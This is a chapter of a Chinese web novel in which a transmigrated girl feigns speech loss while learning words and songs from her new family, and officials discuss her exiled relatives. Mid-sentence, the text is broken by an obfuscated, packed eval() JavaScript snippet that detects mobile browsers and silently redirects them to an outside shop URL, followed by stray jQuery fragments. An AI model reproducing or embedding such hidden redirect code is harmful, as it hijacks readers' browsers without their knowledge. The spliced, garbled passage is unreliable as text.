文趣网 > 其他小说 > 人在西域,被迫吃瓜 > 6. 计划通
    拿定主意,见两人说着说着突然停了下来,气氛有了些许尴尬,夏昭赶紧将碟子放到美人面前。

    “昭娘喜食水果?”夏侯氏先是一愣,只当她还想要,随即吩咐侍女再给小娘子准备。

    顾辞把他那份推过来:“阿昭,给你。”

    夏昭却不接,又把甜瓜往夏侯氏面前推了推,指指瓜,再指指她的嘴:“……次。”

    顾辞略一思索,想到自己刚才的教学,试探道:“阿娘,阿昭是说……让你吃?”

    夏侯氏怔了怔,吃了口水果,见夏昭咧开嘴,噔噔噔跑回去,又端了茶点来,心头忽然软得不行。她摸摸夏昭的头,笑意从眼底漫上来:“昭娘真贴心。”

    夏昭羞涩抿嘴笑,重新坐回案边啃水果,心中打了个勾:计划通。

    她是个谨慎的人。经过这大半日的观察,夏昭大致摸清了现在的处境。虽然不知道这些人是什么身份,和她又是什么关系,不过看这些人给她吃穿用度都安排得妥帖,应是没什么恶意。

    但也就仅此而已,没更多重视就是了。

    也好,这种不重视倒正合她的意。少一分目光的聚焦,便多一分周旋的自由。

    所以她的策略很简单:真诚待人,低调做自己,适当增加曝光,慢慢刷好感。等日子久了,感情自然养出来。

    美人来了,她一开始也不往两人跟前凑。一则能看出美人满眼都是小孩哥,自己也就不凑热闹了。

    二则她深知首因效应的重要性。一个受了惊吓有缺陷的乖孩子,比一个机灵显眼的小人精,哪个更安全?当然是前者。谁会防着一个话都说不利落的小丫头呢?

    但也不必刻意装成傻子。夏昭自诩不是什么演技高超的人,让她天天去装什么小孩的天真烂漫或智商受损,她演不来不说,也容易被看出端倪。

    所以最稳妥的法子,就是跟大人们正面接触时装鹌鹑,优先从小孩哥这里练口语套信息。毕竟小孩子再怎么早熟,也比大人单纯。对教人这件事,只要让他觉得有成就感,他便不会去细究这进步合理不合理。

    平日言行参考失语症*的表现即可,偶尔的大胆开麦也没关系,成人盲目的经验只会当这是孩子病中的失常。

    -

    夏侯氏来了兴致,便起了教夏昭的心思。她拿起一块甜瓜,放慢语速:“甜瓜。昭娘,这是甜瓜。”

    这读音和现代的“瓜”差不太多,好学。“颠呱……”她仰着认真脸重复,“呱、呱。”

    “梨,梨。昭娘,这是梨。”夏侯氏又叉起一块梨。

    夏昭磕磕绊绊地跟着学:“力……梨。”

    “对,真乖。”夏侯氏又拿起一块小饼,“酥饼,饼。”

    一个个茶点教过去,越教越起劲儿。她看着夏昭努力张嘴模仿的模样,有些出神。

    “阿辞,你小时候,阿娘也是这般教你的。”夏侯氏转头看向儿子,眼神柔软,带着一丝追忆,“你可还记得?”

    顾辞微微一怔,随即垂下眼,声音轻了些:“儿……记得。”

    书房里静了一瞬。

    夏侯氏心里叹了口气,嘴角却仍噙着笑:“你之前话都是阿娘一个字一个字教的。可三岁开蒙后进了书房,日日跟着师傅,倒不常和阿娘说话了。”

    顾辞垂下眼,低声却认真道:“儿都记得的……那时候阿娘常给儿唱《急就章》和《千字文》。后来跟着李师傅念长调,摇头晃脑的,总觉得不如阿娘唱得好听。”

    夏侯氏听了,眼睛亮起来:“阿娘唱得那样好?”

    “嗯。”顾辞点头,耳根微微发热,“阿娘唱的小调,儿现在还记得。”

    “那——”夏侯氏一拍膝头,笑盈盈地看向两个孩子,提议,“我们便一起唱给昭娘听?也让昭娘知道,阿辞小时候听的是什么。”

    顾辞皱眉:“阿娘,儿都多大了,还唱那个……”

    “大了怎么?在阿娘跟前,你永远都是孩子。”夏侯氏也不催他,只轻轻起了个调,嗓音温婉,随口哼唱出两句《急就篇》里的字句。

    夏侯氏唱了一半,顾辞才别扭地跟着张了嘴,起先声音压得低低的,跟不上节奏,唱了两句后渐渐放开,声音低哑,调子却稳了起来。

    听到儿子和声,夏侯氏顿了下,笑着接上,母子俩的声音叠在一起,一个温柔清亮,一个稚嫩沉稳,非常和谐。

    夏昭听不懂词,但听得出韵律。她咽下嘴里的瓜,跟着节奏拍起了手。

    顾辞唱完,最后那点窘迫也散了,见夏昭有反应,“阿娘,还是你的法子好。”

    夏侯氏失笑:“这便叫好了?阿娘还有更好的法子。”

    “请阿娘赐教。”

    夏侯氏却不答,只慢悠悠地端起茶盏抿了一口,卖够了关子才开口:“小时候阿娘给你唱《急就章》,旁的篇目都反应平平,偏偏对‘饮食’那一篇着迷得紧,整日追着阿娘问‘稻黍秫稷粟麻粳’是什么,‘饼饵麦饭甘豆羹’又是什么,问得阿娘招架不住,还闹着要亲眼看一看那些吃食。”

    顾辞又被母亲翻出旧账,无奈道:“阿娘……”

    “阿娘觉得很可爱。”夏侯氏温柔抚向顾辞的脸,这次他没有躲。她又看向正眼巴巴等着两人的夏昭,“阿娘看昭娘也是个喜欢吃食的小娘子。不如阿娘带你们去后厨走一遭。那里五谷杂粮、瓜果蔬菜样样都有,看得见,摸得着,还能亲口尝一尝。昭娘学起来,说不定和你当年一样快呢。”

    顾辞眼睛一亮,难得露出几分孩子气的雀跃:“阿娘说的是。那后厨……”

    “等明日吧。”夏侯氏笑着拍板,“今日你们也该歇歇了。有些食物也需要准备,等明日午后,阿娘带你们去。阿辞先把《急就篇》里的饮食篇翻出来,温习一遍,明日去了,可就是阿辞小先生教昭娘了。”

    顾辞精神一振:“儿今晚便准备。”

    夏侯氏自觉待的时间够久,便起身道:“阿辞先带阿昭读书,稍后一同到正房用晚膳。”又嘱咐侍女去厨房传话,给小郎君和小娘子多炖一盏安神的羹汤。

    今天的相处她已经很知足了。

    夏昭连忙跟着顾辞一道把夏侯氏送到门口,站在阶下目送她走远,才折回书房。

    方才母子俩唱歌时,她面上不动声色地拍手,心里早就在问系统:“你能不能把他们的声音录下来?”

    【本系统尚未解锁录音功能。】系统答得飞快。

    夏昭就知道指望不上。她退而求其次,“总有笔吧,电子书都有了,给我个电子笔。”

    【宿主用意识记录即可。】

    趁两人唱得投入,拼命把几句的发音往脑子里记。好在她在小孩哥上课时自学了系统商城买的那套《中古汉语速成教程》,里面也收了一些古代儿童启蒙的教材,听刚开始七字一句的长调她就觉得似曾相识,后面又

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17890379|212712||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是三字一句好像人名,果然翻到了《急就章》,两边一对照,她在“石敢当”大致对齐了颗粒度,开始疯狂记空耳读音。

    只是真的记不完啊!

    -

    等送完人回来,刚跨进门槛,顾辞就被夏昭拽住了袖子。小姑娘仰着脸,用鼻子含含混混地哼出刚才的调子,然后眼巴巴地望着他。

    顾辞愣了一下,随即明白过来:“阿昭可是还想听?”

    这回没有美人在旁,小孩儿哥反倒更放得开。

    他二话不说,清了清嗓子,当真一句一句唱了起来,声音更温润。

    夏昭坐在他对面,一边拍手,一边在心里默默跟唱,把那些字的发音对着教材死里查漏补缺,堪堪记了六成。

    她打定主意,等晚上睡觉的时候,再翻出系统里的教材,拼命背单词!

    小顾先生见这听众如此捧场,越唱越精神,唱完《急就篇》又在夏昭意犹未尽的眼神中接着唱起了《千字文》。夏昭拍手拍得啪啪响,偶尔跟着含混地哼个几句,给足了情绪价值,哄的顾辞又唱了一遍。把空耳读音在教材上补到了八成。

    等顾辞唱到嗓子发干,书童递上温水,他灌了两口,才后知后觉地想起来:“阿昭,我们该去用晚膳了。”

    -

    今晚饭桌旁只有他们三人。定远侯差人来传话,说公务紧急,晚膳就在官署用了。

    夏侯氏闻言,知道夫君今夜又要彻夜办公,便嘱咐下人亥时子时再给官廨送几份热食汤水。

    官署中,灯火通明。定远侯刚处理完几份急报,他靠在案边喝着一盏浓茶边揉额头,忽然问向下首还在埋头扒饭的夏侯信:“守义,那崔泓,你知晓多少?觉得他是什么人?”

    夏侯信嚼了几口囫囵咽下:“崔兄说是博陵崔氏旁支,幼时便因父罪流徙西州,后来遇赦,充入民屯。”

    “还有呢?”见夏侯信继续扒饭,定远侯追问。

    “崔兄尤重农本。虽奉其父遗命不得出仕,可今生惟愿能完善先祖编纂的《四民月令》。”

    “还有呢?”

    “崔兄十分重情义。那日黑风里,崔兄我被风沙迷了眼,看不清阵仗,眼瞅着就要被砍,便……”说到此处,夏侯信喉头上下滚了滚,眼眶竟有些泛红。

    定远侯看着他,忍了又忍,终于没忍住:“你可知,崔泓之母乃先平阳县主。”

    夏侯信一愣,不理解定远侯为何突然说起了这个:“平阳县主?”

    “先晋安长公主的长女。”

    姐夫的母亲是西平长公主。夏侯心里下意识算起来,脱口而出,“那论起来,侯爷岂不是昭娘的表舅……公?”

    定远侯扶住额头,一时不知该气还是该笑。他也混不吝啬过,自认已经很体谅这个自幼跟自己混,后来被养在道观所以散漫惯了的堂内弟,可眼下还是忍不住怀疑自己是否高估了什么。

    可能是自己的脾气,可能是对方的智商。

    “守义啊……”

    夏侯信听侯爷的语气,有点摸不着头脑,他是做错了什么吗?

    一旁的谢长史见自家侯爷快绷不住,忙续了热水。又耐心给夏侯信解释起来:“小将军,先晋安长公主因牵涉戾王谋逆,被贬为庶人。其姻亲崔氏受此案株连,坐罪流放西州。”

    夏侯信这才回过味来:“这么说……昭娘留在侯府若让有心人知道,岂不是会对侯爷不利?”